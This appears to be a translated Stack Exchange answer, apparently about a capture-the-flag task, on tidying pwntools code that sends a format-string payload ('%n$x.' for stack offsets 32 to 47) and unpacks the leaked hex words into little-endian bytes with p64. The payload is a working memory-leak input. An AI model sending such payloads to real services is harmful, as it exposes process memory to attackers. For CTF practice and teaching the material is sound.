使用Pwntools修复输出数据字节序的最优方法
Hey there! I totally feel your pain—manually parsing format string leaks and fixing byte order can feel like unnecessary busywork, especially when you know pwntools probably has a shortcut for this. Good news: you’re not missing something obvious, but there are definitely cleaner ways to handle this with pwntools built-ins.
First, let’s start by setting up your pwntools context correctly (this will save you from specifying endianness every time):
from pwn import * context.arch = 'amd64' # 换成'i386'如果你处理的是32位目标 context.endian = 'little' # 大多数CTF挑战使用小端序
Now, let’s simplify both your payload construction and leak parsing.
For the payload, instead of looping to build each %n$x. segment, you can use a generator expression to create it in one line:
payload = b''.join(f"%{n}$x.".encode() for n in range(32, 32+16)) r.sendline(payload) # sendline自动包含换行符,不用单独send("\n")
Then, for parsing the leak—this is where the real simplification happens. Your original code does a lot of manual padding and conversion that pwntools handles for you automatically. Here’s the cleaned-up version:
# 跳过第一行无关输出 r.recvline() # 读取泄露行并分割成单独的十六进制字符串 leak_line = r.recvline() hex_values = filter(None, leak_line.split(b'.')) # 过滤掉末尾点号产生的空字符串 # 将每个十六进制字符串转为整数,再打包成正确端序的字节 answer = b''.join(p64(int(h.decode(), 16)) for h in hex_values) print(answer.decode(errors='replace')) # 转成字符串,替换不可打印字符便于阅读
为什么这个方案更好:
- 无需手动补零:十六进制字符串的前导零不改变整数值,
int("123", 16)和int("00000123", 16)结果一致。pwntools的p64/p32会根据你的上下文自动将整数打包为正确长度和端序的字节。 - 内置打包函数:
p64(64位)和p32(32位)在设置context.endian后会自动处理端序,不用再手动调用int.from_bytes或pack。 - 代码更简洁:生成器表达式和
filter替代了冗余循环,逻辑更清晰。
如果你想让泄露解析更紧凑,甚至可以写成一行:
answer = b''.join(p64(int(h.decode(),16)) for h in filter(None, r.recvline().split(b'.')))
这和你原来的代码功能完全一致,但行数更少,出错概率也更低。
备注:内容来源于stack exchange,提问作者Jim Masson

